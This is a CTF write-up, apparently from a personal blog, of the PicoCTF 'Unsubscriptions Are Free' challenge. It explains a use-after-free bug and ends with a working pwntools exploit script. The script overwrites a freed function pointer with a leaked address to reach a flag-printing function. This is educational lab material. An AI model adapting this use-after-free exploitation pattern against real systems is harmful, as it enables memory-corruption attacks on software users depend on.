papadoxie.github.io


Project maintained by papadoxie Hosted on GitHub Pages — Theme by mattgraham

« Back to Home

Unsubscriptions Are Free

Write-up of the PicoCTF Binary Exploitation Challenge

Challenge Description

Setup

2 files are provided to us for the challenge and the address to the server is also provided.

Let’s download the files and take a look at the source

Analysis

Immediately we see a function that prints the flag

Challenge Description

Upon further analysis we can see that this function is not being called anywhere but there is another suspicious function

Challenge Description

Running the binary we can see this prints out the address of the function that will print the flag

Challenge Description

Let’s explore further to see how we can use this information

The main function is pretty straightforward as well as the printMenu function

Challenge Description

Challenge Description

The processInput function handles the processing of all the user input

Challenge Description

doProcess just calls the function pointed to by the function pointer passed to it

Challenge Description

Now let’s take a look at the remaining functions

Challenge Description

There is a pointer being freed here and this function can be called multiple times
This seems like a bug. Let’s test it

Challenge Description

This looks like a Use After Free bug. Let’s try to find out if we can write to this allocation somehow

Challenge Description

Here we have it. A function that allocates an 8 byte buffer and lets us write to it
Now what will happen is

Let’s try this out

Exploitation

Here’s the exploit script

#!/usr/bin/python3

from pwn import log, process, remote, time
import pwnlib.util.packing as pack

p = remote("mercury.picoctf.net", 48259)

p.sendline(b"S") # Get the memory leak

for i in range(9):
    try:
        inp = str(p.recvline()[21:].strip())[2:].strip("'") # Get the address from the leak
    except:
        log.info("")


inp = int(inp, 16) # Convert it to hex
log.info(f"{hex(inp)}")

p.sendline(b"I")    # Free user
p.sendline(b"Y")

p.sendline(b"L")    # Allocate the new buffer and write the address to it
time.sleep(1)
p.sendline(pack.p64(inp))

p.sendline(b"I")    # Free user again
p.sendline(b"Y")

p.interactive()

Challenge Description

It worked! We got the flag